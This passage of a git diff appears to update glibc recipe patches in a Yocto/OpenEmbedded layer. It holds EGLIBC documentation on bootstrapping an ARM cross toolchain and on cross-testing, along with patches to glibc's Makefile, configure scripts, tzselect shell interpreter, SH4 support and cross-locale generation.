-+ > RANLIB=$tools/bin/$target-ranlib \
-+ > $src/glibc/libc/configure \
-+ > --prefix=/usr \
-+ > --with-headers=$sysroot/usr/include \
-+ > --build=$build \
-+ > --host=$target \
-+ > --disable-profile --without-gd --without-cvs \
-+ > --enable-add-ons=nptl,libidn,../ports
-+
-+The option '--prefix=/usr' may look strange, but you should never
-+configure GLIBC with a prefix other than '/usr': in various places,
-+GLIBC's build system checks whether the prefix is '/usr', and does
-+special handling only if that is the case. Unless you use this
-+prefix, you will get a sysroot that does not use the standard Linux
-+directory layouts and cannot be used as a basis for the root
-+filesystem on your target system compatibly with normal GLIBC
-+installations.
-+
-+The '--with-headers' option tells GLIBC where the Linux headers have
-+been installed.
-+
-+The '--enable-add-ons=nptl,libidn,../ports' option tells GLIBC to look
-+for the listed glibc add-ons. Most notably the ports add-on (located
-+just above the libc sources in the GLIBC svn tree) is required to
-+support ARM targets.
-+
-+We can now use the 'install-headers' makefile target to install the
-+headers:
-+
-+ $ make install-headers install_root=$sysroot \
-+ > install-bootstrap-headers=yes
-+
-+The 'install_root' variable indicates where the files should actually
-+be installed; its value is treated as the parent of the '--prefix'
-+directory we passed to the configure script, so the headers will go in
-+'$sysroot/usr/include'. The 'install-bootstrap-headers' variable
-+requests special handling for certain tricky header files.
-+
-+Next, there are a few object files needed to link shared libraries,
-+which we build and install by hand:
-+
-+ $ mkdir -p $sysroot/usr/lib
-+ $ make csu/subdir_lib
-+ $ cp csu/crt1.o csu/crti.o csu/crtn.o $sysroot/usr/lib
-+
-+Finally, 'libgcc_s.so' requires a 'libc.so' to link against. However,
-+since we will never actually execute its code, it doesn't matter what
-+it contains. So, treating '/dev/null' as a C source file, we produce
-+a dummy 'libc.so' in one step:
-+
-+ $ $tools/bin/$target-gcc -nostdlib -nostartfiles -shared -x c /dev/null \
-+ > -o $sysroot/usr/lib/libc.so
-+
-+
-+The Second GCC
-+
-+With the GLIBC headers and selected object files installed, we can
-+now build a GCC that is capable of compiling GLIBC. We configure,
-+build, and install the second GCC, again building only the C compiler,
-+and avoiding libraries we won't use:
-+
-+ $ mkdir -p $obj/gcc2
-+ $ cd $obj/gcc2
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot \
-+ > --disable-libssp --disable-libgomp --disable-libmudflap \
-+ > --disable-libffi --disable-libquadmath \
-+ > --enable-languages=c
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+
-+GLIBC, Complete
-+
-+With the second compiler built and installed, we're now ready for the
-+full GLIBC build:
-+
-+ $ mkdir -p $obj/glibc
-+ $ cd $obj/glibc
-+ $ BUILD_CC=gcc \
-+ > CC=$tools/bin/$target-gcc \
-+ > CXX=$tools/bin/$target-g++ \
-+ > AR=$tools/bin/$target-ar \
-+ > RANLIB=$tools/bin/$target-ranlib \
-+ > $src/glibc/libc/configure \
-+ > --prefix=/usr \
-+ > --with-headers=$sysroot/usr/include \
-+ > --with-kconfig=$obj/linux/scripts/kconfig \
-+ > --build=$build \
-+ > --host=$target \
-+ > --disable-profile --without-gd --without-cvs \
-+ > --enable-add-ons=nptl,libidn,../ports
-+
-+Note the additional '--with-kconfig' option. This tells GLIBC where to
-+find the host config tools used by the kernel 'make config' and 'make
-+menuconfig'. These tools can be re-used by GLIBC for its own 'make
-+*config' support, which will create 'option-groups.config' for you.
-+But first make sure those tools have been built by running some
-+dummy 'make *config' calls in the kernel directory:
-+
-+ $ cd $obj/linux
-+ $ PATH=$tools/bin:$PATH make config \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+ $ PATH=$tools/bin:$PATH make menuconfig \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+
-+Now we can configure and build the full GLIBC:
-+
-+ $ cd $obj/glibc
-+ $ PATH=$tools/bin:$PATH make defconfig
-+ $ PATH=$tools/bin:$PATH make menuconfig
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install install_root=$sysroot
-+
-+At this point, we have a complete GLIBC installation in '$sysroot',
-+with header files, library files, and most of the C runtime startup
-+files in place.
-+
-+
-+The Third GCC
-+
-+Finally, we recompile GCC against this full installation, enabling
-+whatever languages and libraries we would like to use:
-+
-+ $ mkdir -p $obj/gcc3
-+ $ cd $obj/gcc3
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot \
-+ > --enable-__cxa_atexit \
-+ > --disable-libssp --disable-libgomp --disable-libmudflap \
-+ > --enable-languages=c,c++
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+The '--enable-__cxa_atexit' option tells GCC what sort of C++
-+destructor support to expect from the C library; it's required with
-+GLIBC.
-+
-+And since GCC's installation process isn't designed to help construct
-+sysroot trees, we must manually copy certain libraries into place in
-+the sysroot.
-+
-+ $ cp -d $tools/$target/lib/libgcc_s.so* $sysroot/lib
-+ $ cp -d $tools/$target/lib/libstdc++.so* $sysroot/usr/lib
-+
-+
-+Trying Things Out
-+
-+At this point, '$tools' contains a cross toolchain ready to use
-+the GLIBC installation in '$sysroot':
-+
-+ $ cat > hello.c <<EOF
-+ > #include <stdio.h>
-+ > int
-+ > main (int argc, char **argv)
-+ > {
-+ > puts ("Hello, world!");
-+ > return 0;
-+ > }
-+ > EOF
-+ $ $tools/bin/$target-gcc -Wall hello.c -o hello
-+ $ cat > c++-hello.cc <<EOF
-+ > #include <iostream>
-+ > int
-+ > main (int argc, char **argv)
-+ > {
-+ > std::cout << "Hello, C++ world!" << std::endl;
-+ > return 0;
-+ > }
-+ > EOF
-+ $ $tools/bin/$target-g++ -Wall c++-hello.cc -o c++-hello
-+
-+
-+We can use 'readelf' to verify that these are indeed executables for
-+our target, using our dynamic linker:
-+
-+ $ $tools/bin/$target-readelf -hl hello
-+ ELF Header:
-+ ...
-+ Type: EXEC (Executable file)
-+ Machine: ARM
-+
-+ ...
-+ Program Headers:
-+ Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
-+ PHDR 0x000034 0x10000034 0x10000034 0x00100 0x00100 R E 0x4
-+ INTERP 0x000134 0x00008134 0x00008134 0x00013 0x00013 R 0x1
-+ [Requesting program interpreter: /lib/ld-linux.so.3]
-+ LOAD 0x000000 0x00008000 0x00008000 0x0042c 0x0042c R E 0x8000
-+ ...
-+
-+Looking at the dynamic section of the installed 'libgcc_s.so', we see
-+that the 'NEEDED' entry for the C library does include the '.6'
-+suffix, indicating that was linked against our fully build GLIBC, and
-+not our dummy 'libc.so':
-+
-+ $ $tools/bin/$target-readelf -d $sysroot/lib/libgcc_s.so.1
-+ Dynamic section at offset 0x1083c contains 24 entries:
-+ Tag Type Name/Value
-+ 0x00000001 (NEEDED) Shared library: [libc.so.6]
-+ 0x0000000e (SONAME) Library soname: [libgcc_s.so.1]
-+ ...
-+
-+
-+And on the target machine, we can run our programs:
-+
-+ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
-+ > ./hello
-+ Hello, world!
-+ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
-+ > ./c++-hello
-+ Hello, C++ world!
-diff --git a/GLIBC.cross-testing b/GLIBC.cross-testing
-new file mode 100644
-index 0000000000..b67b468466
---- /dev/null
-+++ b/GLIBC.cross-testing
-@@ -0,0 +1,205 @@
-+ -*- mode: text -*-
-+
-+ Cross-Testing With GLIBC
-+ Jim Blandy <jimb@codesourcery.com>
-+
-+
-+Introduction
-+
-+Developers writing software for embedded systems often use a desktop
-+or other similarly capable computer for development, but need to run
-+tests on the embedded system, or perhaps on a simulator. When
-+configured for cross-compilation, the stock GNU C library simply
-+disables running tests altogether: the command 'make tests' builds
-+test programs, but does not run them. GLIBC, however, provides
-+facilities for compiling tests and generating data files on the build
-+system, but running the test programs themselves on a remote system or
-+simulator.
-+
-+
-+Test environment requirements
-+
-+The test environment must meet certain conditions for GLIBC's
-+cross-testing facilities to work:
-+
-+- Shared filesystems. The 'build' system, on which you configure and
-+ compile GLIBC, and the 'host' system, on which you intend to run
-+ GLIBC, must share a filesystem containing the GLIBC build and
-+ source trees. Files must appear at the same paths on both systems.
-+
-+- Remote-shell like invocation. There must be a way to run a program
-+ on the host system from the build system, passing it properly quoted
-+ command-line arguments, setting environment variables, and
-+ inheriting the caller's standard input and output.
-+
-+
-+Usage
-+
-+To use GLIBC's cross-testing support, provide values for the
-+following Make variables when you invoke 'make':
-+
-+- cross-test-wrapper
-+
-+ This should be the name of the cross-testing wrapper command, along
-+ with any arguments.
-+
-+- cross-localedef
-+
-+ This should be the name of a cross-capable localedef program, like
-+ that included in the GLIBC 'localedef' module, along with any
-+ arguments needed.
-+
-+These are each explained in detail below.
-+
-+
-+The Cross-Testing Wrapper
-+
-+To run test programs reliably, the stock GNU C library takes care to
-+ensure that test programs use the newly compiled dynamic linker and
-+shared libraries, and never the host system's installed libraries. To
-+accomplish this, it runs the tests by explicitly invoking the dynamic
-+linker from the build tree, passing it a list of build tree
-+directories to search for shared libraries, followed by the name of
-+the executable to run and its arguments.
-+
-+For example, where one might normally run a test program like this:
-+
-+ $ ./tst-foo arg1 arg2
-+
-+the GNU C library might run that program like this:
-+
-+ $ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+(where $objdir is the path to the top of the build tree, and the
-+trailing backslash indicates a continuation of the command). In other
-+words, each test program invocation is 'wrapped up' inside an explicit
-+invocation of the dynamic linker, which must itself execute the test
-+program, having loaded shared libraries from the appropriate
-+directories.
-+
-+To support cross-testing, GLIBC allows the developer to optionally
-+set the 'cross-test-wrapper' Make variable to another wrapper command,
-+to which it passes the entire dynamic linker invocation shown above as
-+arguments. For example, if the developer supplies a wrapper of
-+'my-wrapper hostname', then GLIBC would run the test above as
-+follows:
-+
-+ $ my-wrapper hostname \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+The 'my-wrapper' command is responsible for executing the command
-+given on the host system.
-+
-+Since tests are run in varying directories, the wrapper should either
-+be in your command search path, or 'cross-test-wrapper' should give an
-+absolute path for the wrapper.
-+
-+The wrapper must meet several requirements:
-+
-+- It must preserve the current directory. As explained above, the
-+ build directory tree must be visible on both the build and host
-+ systems, at the same path. The test wrapper must ensure that the
-+ current directory it inherits is also inherited by the dynamic
-+ linker (and thus the test program itself).
-+
-+- It must preserve environment variables' values. Many GLIBC tests
-+ set environment variables for test runs; in native testing, it
-+ invokes programs like this:
-+
-+ $ GCONV_PATH=$objdir/iconvdata \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+ With the cross-testing wrapper, that invocation becomes:
-+
-+ $ GCONV_PATH=$objdir/iconvdata \
-+ my-wrapper hostname \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+ Here, 'my-wrapper' must ensure that the value it sees for
-+ 'GCONV_PATH' will be seen by the dynamic linker, and thus 'tst-foo'
-+ itself. (The wrapper supplied with GLIBC simply preserves the
-+ values of *all* enviroment variables, with a fixed set of
-+ exceptions.)
-+
-+ If your wrapper is a shell script, take care to correctly propagate
-+ environment variables whose values contain spaces and shell
-+ metacharacters.
-+
-+- It must pass the command's arguments, unmodified. The arguments
-+ seen by the test program should be exactly those seen by the wrapper
-+ (after whatever arguments are given to the wrapper itself). The
-+ GLIBC test framework performs all needed shell word splitting and
-+ expansion (wildcard expansion, parameter substitution, and so on)
-+ before invoking the wrapper; further expansion may break the tests.
-+
-+
-+The 'cross-test-ssh.sh' script
-+
-+If you want to use 'ssh' (or something sufficiently similar) to run
-+test programs on your host system, GLIBC includes a shell script,
-+'scripts/cross-test-ssh.sh', which you can use as your wrapper
-+command. This script takes care of setting the test command's current
-+directory, propagating environment variable values, and carrying
-+command-line arguments, all across an 'ssh' connection. You may even
-+supply an alternative to 'ssh' on the command line, if needed.
-+
-+For more details, pass 'cross-test-ssh.sh' the '--help' option.
-+
-+
-+The Cross-Compiling Locale Definition Command
-+
-+Some GLIBC tests rely on locales generated especially for the test
-+process. In a native configuration, these tests simply run the
-+'localedef' command built by the normal GLIBC build process,
-+'locale/localedef', to process and install their locales. However, in
-+a cross-compiling configuration, this 'localedef' is built for the
-+host system, not the build system, and since it requires quite a bit
-+of memory to run (we have seen it fail on systems with 64MiB of
-+memory), it may not be practical to run it on the host system.
-+
-+If set, GLIBC uses the 'cross-localedef' Make variable as the command
-+to run on the build system to process and install locales. The
-+localedef program built from the GLIBC 'localedef' module is
-+suitable.
-+
-+The value of 'cross-localedef' may also include command-line arguments
-+to be passed to the program; if you are using GLIBC's 'localedef',
-+you may include endianness and 'uint32_t' alignment arguments here.
-+
-+
-+Example
-+
-+In developing GLIBC's cross-testing facility, we invoked 'make' with
-+the following script:
-+
-+ #!/bin/sh
-+
-+ srcdir=...
-+ test_hostname=...
-+ localedefdir=...
-+ cross_gxx=...-g++
-+
-+ wrapper="$srcdir/scripts/cross-test-ssh.sh $test_hostname"
-+ localedef="$localedefdir/localedef --little-endian --uint32-align=4"
-+
-+ make cross-test-wrapper="$wrapper" \
-+ cross-localedef="$localedef" \
-+ CXX="$cross_gxx" \
-+ "$@"
-+
-+
-+Other Cross-Testing Concerns
-+
-+Here are notes on some other issues which you may encounter in running
-+the GLIBC tests in a cross-compiling environment:
-+
-+- Some tests require a C++ cross-compiler; you should set the 'CXX'
-+ Make variable to the name of an appropriate cross-compiler.
-+
-+- Some tests require access to libstdc++.so.6 and libgcc_s.so.1; we
-+ simply place copies of these libraries in the top GLIBC build
-+ directory.
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0018-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch b/meta/recipes-core/glibc/glibc/0018-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch
new file mode 100644
index 0000000000..c81f82f433
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0018-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch
@@ -0,0 +1,41 @@
+From 7a25d4796411f22f824742092a4c2a08df99752d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:27:10 +0000
+Subject: [PATCH] sysdeps/gnu/configure.ac: Set libc_cv_rootsbindir only if its
+ empty
+
+This ensures that it can be set in build environment
+
+Upstream-Status: Pending
+Signed-off-by: Matthieu Crapet <Matthieu.Crapet@ingenico.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/gnu/configure | 2 +-
+ sysdeps/gnu/configure.ac | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/sysdeps/gnu/configure b/sysdeps/gnu/configure
+index 18c9d7945a..ef22cc845d 100644
+--- a/sysdeps/gnu/configure
++++ b/sysdeps/gnu/configure
+@@ -32,7 +32,7 @@ case "$prefix" in
+ else
+ libc_cv_localstatedir=$localstatedir
+ fi
+- libc_cv_rootsbindir=/sbin
++ libc_cv_rootsbindir=${libc_cv_rootsbindir:=/sbin}
+ ;;
+ esac
+
+diff --git a/sysdeps/gnu/configure.ac b/sysdeps/gnu/configure.ac
+index 634fe4de2a..492112e0fd 100644
+--- a/sysdeps/gnu/configure.ac
++++ b/sysdeps/gnu/configure.ac
+@@ -21,6 +21,6 @@ case "$prefix" in
+ else
+ libc_cv_localstatedir=$localstatedir
+ fi
+- libc_cv_rootsbindir=/sbin
++ libc_cv_rootsbindir=${libc_cv_rootsbindir:=/sbin}
+ ;;
+ esac
diff --git a/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch b/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch
deleted file mode 100644
index f633079f34..0000000000
--- a/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From 5591b7653411da26fa2939352e50ea4121b327e6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:49:28 +0000
-Subject: [PATCH 19/29] eglibc: Help bootstrap cross toolchain
-
-Taken from EGLIBC, r1484 + r1525
-
- 2007-02-20 Jim Blandy <jimb@codesourcery.com>
-
- * Makefile (install-headers): Preserve old behavior: depend on
- $(inst_includedir)/gnu/stubs.h only if install-bootstrap-headers
- is set; otherwise, place gnu/stubs.h on the 'install-others' list.
-
- 2007-02-16 Jim Blandy <jimb@codesourcery.com>
-
- * Makefile: Amend make install-headers to install everything
- necessary for building a cross-compiler. Install gnu/stubs.h as
- part of 'install-headers', not 'install-others'.
- If install-bootstrap-headers is 'yes', install a dummy copy of
- gnu/stubs.h, instead of computing the real thing.
- * include/stubs-bootstrap.h: New file.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile | 22 +++++++++++++++++++++-
- include/stubs-bootstrap.h | 12 ++++++++++++
- 2 files changed, 33 insertions(+), 1 deletion(-)
- create mode 100644 include/stubs-bootstrap.h
-
-diff --git a/Makefile b/Makefile
-index 6dcfe40c25..bc37c32e5a 100644
---- a/Makefile
-+++ b/Makefile
-@@ -79,9 +79,18 @@ subdir-dirs = include
- vpath %.h $(subdir-dirs)
-
- # What to install.
--install-others = $(inst_includedir)/gnu/stubs.h
- install-bin-script =
-
-+# If we're bootstrapping, install a dummy gnu/stubs.h along with the
-+# other headers, so 'make install-headers' produces a useable include
-+# tree. Otherwise, install gnu/stubs.h later, after the rest of the
-+# build is done.
-+ifeq ($(install-bootstrap-headers),yes)
-+install-headers: $(inst_includedir)/gnu/stubs.h
-+else
-+install-others = $(inst_includedir)/gnu/stubs.h
-+endif
-+
- ifeq (yes,$(build-shared))
- headers += gnu/lib-names.h
- endif
-@@ -407,6 +416,16 @@ others: $(common-objpfx)testrun.sh $(common-objpfx)debugglibc.sh
-
- subdir-stubs := $(foreach dir,$(subdirs),$(common-objpfx)$(dir)/stubs)
-
-+# gnu/stubs.h depends (via the subdir 'stubs' targets) on all the .o
-+# files in EGLIBC. For bootstrapping a GCC/EGLIBC pair, an empty
-+# gnu/stubs.h is good enough.
-+ifeq ($(install-bootstrap-headers),yes)
-+$(inst_includedir)/gnu/stubs.h: include/stubs-bootstrap.h $(+force)
-+ $(make-target-directory)
-+ $(INSTALL_DATA) $< $@
-+
-+installed-stubs =
-+else
- ifndef abi-variants
- installed-stubs = $(inst_includedir)/gnu/stubs.h
- else
-@@ -433,6 +452,7 @@ $(inst_includedir)/gnu/stubs.h: $(+force)
-
- install-others-nosubdir: $(installed-stubs)
- endif
-+endif
-
-
- # Since stubs.h is never needed when building the library, we simplify the
-diff --git a/include/stubs-bootstrap.h b/include/stubs-bootstrap.h
-new file mode 100644
-index 0000000000..1d2b669aff
---- /dev/null
-+++ b/include/stubs-bootstrap.h
-@@ -0,0 +1,12 @@
-+/* Placeholder stubs.h file for bootstrapping.
-+
-+ When bootstrapping a GCC/EGLIBC pair, GCC requires that the EGLIBC
-+ headers be installed, but we can't fully build EGLIBC without that
-+ GCC. So we run the command:
-+
-+ make install-headers install-bootstrap-headers=yes
-+
-+ to install the headers GCC needs, but avoid building certain
-+ difficult headers. The <gnu/stubs.h> header depends, via the
-+ EGLIBC subdir 'stubs' make targets, on every .o file in EGLIBC, but
-+ an empty stubs.h like this will do fine for GCC. */
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0019-timezone-Make-shell-interpreter-overridable-in-tzsel.patch b/meta/recipes-core/glibc/glibc/0019-timezone-Make-shell-interpreter-overridable-in-tzsel.patch
new file mode 100644
index 0000000000..d724c3e968
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0019-timezone-Make-shell-interpreter-overridable-in-tzsel.patch
@@ -0,0 +1,47 @@
+From 6aa1b835d95482287851e02abd3a406cbd0ef8c7 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 9 Dec 2021 15:14:42 -0800
+Subject: [PATCH] timezone: Make shell interpreter overridable in tzselect.ksh
+
+define new macro called KSHELL which can be used to define default shell
+use Bash by default
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makeconfig | 9 +++++++++
+ timezone/Makefile | 1 +
+ 2 files changed, 10 insertions(+)
+
+diff --git a/Makeconfig b/Makeconfig
+index 85e00cef94..643724108a 100644
+--- a/Makeconfig
++++ b/Makeconfig
+@@ -309,6 +309,15 @@ ifndef sysincludedir
+ sysincludedir = /usr/include
+ endif
+
++# The full path name of a Posix-compliant shell, preferably one that supports
++# the Korn shell's 'select' statement as an extension.
++# These days, Bash is the most popular.
++# It should be OK to set this to /bin/sh, on platforms where /bin/sh
++# lacks 'select' or doesn't completely conform to Posix, but /bin/bash
++# is typically nicer if it works.
++ifndef KSHELL
++KSHELL = /bin/bash
++endif
+
+ # Commands to install files.
+ ifndef INSTALL_DATA
+diff --git a/timezone/Makefile b/timezone/Makefile
+index d7acb387ba..ec79326f66 100644
+--- a/timezone/Makefile
++++ b/timezone/Makefile
+@@ -136,6 +136,7 @@ $(objpfx)tzselect: tzselect.ksh $(common-objpfx)config.make
+ -e '/TZVERSION=/s|see_Makefile|"$(version)"|' \
+ -e '/PKGVERSION=/s|=.*|="$(PKGVERSION)"|' \
+ -e '/REPORT_BUGS_TO=/s|=.*|="$(REPORT_BUGS_TO)"|' \
++ -e 's|#!/bin/bash|#!$(KSHELL)|g' \
+ < $< > $@.new
+ chmod 555 $@.new
+ mv -f $@.new $@
diff --git a/meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch b/meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch
deleted file mode 100644
index bb21c54721..0000000000
--- a/meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From d3451c186f96c6b2434a4ac9304c01730bf22061 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:55:53 +0000
-Subject: [PATCH 20/29] eglibc: Resolve __fpscr_values on SH4
-
-2010-09-29 Nobuhiro Iwamatsu <iwamatsu@nigauri.org>
- Andrew Stubbs <ams@codesourcery.com>
-
- Resolve SH's __fpscr_values to symbol in libc.so.
-
- * sysdeps/sh/sh4/fpu/fpu_control.h: Add C++ __set_fpscr prototype.
- * sysdeps/unix/sysv/linux/sh/Versions (GLIBC_2.2): Add __fpscr_values.
- * sysdeps/unix/sysv/linux/sh/sysdep.S (___fpscr_values): New constant.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/unix/sysv/linux/sh/Versions | 1 +
- sysdeps/unix/sysv/linux/sh/sysdep.S | 11 +++++++++++
- 2 files changed, 12 insertions(+)
-
-diff --git a/sysdeps/unix/sysv/linux/sh/Versions b/sysdeps/unix/sysv/linux/sh/Versions
-index e0938c4165..ca1d7da339 100644
---- a/sysdeps/unix/sysv/linux/sh/Versions
-+++ b/sysdeps/unix/sysv/linux/sh/Versions
-@@ -2,6 +2,7 @@ libc {
- GLIBC_2.2 {
- # functions used in other libraries
- __xstat64; __fxstat64; __lxstat64;
-+ __fpscr_values;
-
- # a*
- alphasort64;
-diff --git a/sysdeps/unix/sysv/linux/sh/sysdep.S b/sysdeps/unix/sysv/linux/sh/sysdep.S
-index 85ff3f900e..7743b8d57a 100644
---- a/sysdeps/unix/sysv/linux/sh/sysdep.S
-+++ b/sysdeps/unix/sysv/linux/sh/sysdep.S
-@@ -30,3 +30,14 @@ ENTRY (__syscall_error)
-
- #define __syscall_error __syscall_error_1
- #include <sysdeps/unix/sh/sysdep.S>
-+
-+ .data
-+ .align 3
-+ .globl ___fpscr_values
-+ .type ___fpscr_values, @object
-+ .size ___fpscr_values, 8
-+___fpscr_values:
-+ .long 0
-+ .long 0x80000
-+weak_alias (___fpscr_values, __fpscr_values)
-+
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0020-tzselect.ksh-Use-bin-sh-default-shell-interpreter.patch b/meta/recipes-core/glibc/glibc/0020-tzselect.ksh-Use-bin-sh-default-shell-interpreter.patch
new file mode 100644
index 0000000000..08c60a271b
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0020-tzselect.ksh-Use-bin-sh-default-shell-interpreter.patch
@@ -0,0 +1,27 @@
+From ef47e6199986c4951e681ed74f064042db1ae2e1 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 15 Dec 2021 21:47:53 -0800
+Subject: [PATCH] tzselect.ksh: Use /bin/sh default shell interpreter
+
+checkbashism reports no issues with tzselect.ksh, therefore using
+/bin/sh instead of /bin/bash should be safe and portable across systems
+which don't ship bash ( embedded systems )
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Adhemerval Zanella <adhemerval.zanella@linaro.org>
+Cc: Paul Eggert <eggert@cs.ucla.edu>
+---
+ timezone/tzselect.ksh | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/timezone/tzselect.ksh b/timezone/tzselect.ksh
+index 18fce27e24..cc08efb0fb 100755
+--- a/timezone/tzselect.ksh
++++ b/timezone/tzselect.ksh
+@@ -1,4 +1,4 @@
+-#!/bin/bash
++#!/bin/sh
+ # Ask the user about the time zone, and output the resulting TZ value to stdout.
+ # Interact with the user via stderr and stdin.
+
diff --git a/meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch b/meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch
deleted file mode 100644
index 7fe5db0c2a..0000000000
--- a/meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch
+++ /dev/null
@@ -1,563 +0,0 @@
-From e4b8abdc2d884d721fd89d67b689546f2f780924 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 01:33:49 +0000
-Subject: [PATCH 21/29] eglibc: Forward port cross locale generation support
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/Makefile | 3 +-
- locale/catnames.c | 46 +++++++++++++++++++++++++++
- locale/localeinfo.h | 2 +-
- locale/programs/charmap-dir.c | 6 ++++
- locale/programs/ld-collate.c | 17 +++++-----
- locale/programs/ld-ctype.c | 27 ++++++++--------
- locale/programs/ld-time.c | 31 ++++++++++++------
- locale/programs/linereader.c | 2 +-
- locale/programs/localedef.c | 8 +++++
- locale/programs/locfile.c | 5 ++-
- locale/programs/locfile.h | 59 +++++++++++++++++++++++++++++++++--
- locale/setlocale.c | 29 -----------------
- 12 files changed, 167 insertions(+), 68 deletions(-)
- create mode 100644 locale/catnames.c
-
-diff --git a/locale/Makefile b/locale/Makefile
-index 49c0c78c7d..ebfcf4f4da 100644
---- a/locale/Makefile
-+++ b/locale/Makefile
-@@ -26,7 +26,8 @@ headers = langinfo.h locale.h bits/locale.h \
- bits/types/locale_t.h bits/types/__locale_t.h
- routines = setlocale findlocale loadlocale loadarchive \
- localeconv nl_langinfo nl_langinfo_l mb_cur_max \
-- newlocale duplocale freelocale uselocale
-+ newlocale duplocale freelocale uselocale \
-+ catnames
- tests = tst-C-locale tst-locname tst-duplocale
- tests-container = tst-localedef-path-norm
- categories = ctype messages monetary numeric time paper name \
-diff --git a/locale/catnames.c b/locale/catnames.c
-new file mode 100644
-index 0000000000..538f3f5edb
---- /dev/null
-+++ b/locale/catnames.c
-@@ -0,0 +1,46 @@
-+/* Copyright (C) 2006 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include "localeinfo.h"
-+
-+/* Define an array of category names (also the environment variable names). */
-+const struct catnamestr_t _nl_category_names attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ category_name,
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ };
-+
-+const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ };
-+
-+/* An array of their lengths, for convenience. */
-+const uint8_t _nl_category_name_sizes[] attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ [category] = sizeof (category_name) - 1,
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ [LC_ALL] = sizeof ("LC_ALL") - 1
-+ };
-diff --git a/locale/localeinfo.h b/locale/localeinfo.h
-index fdc283c69a..4eeed35f90 100644
---- a/locale/localeinfo.h
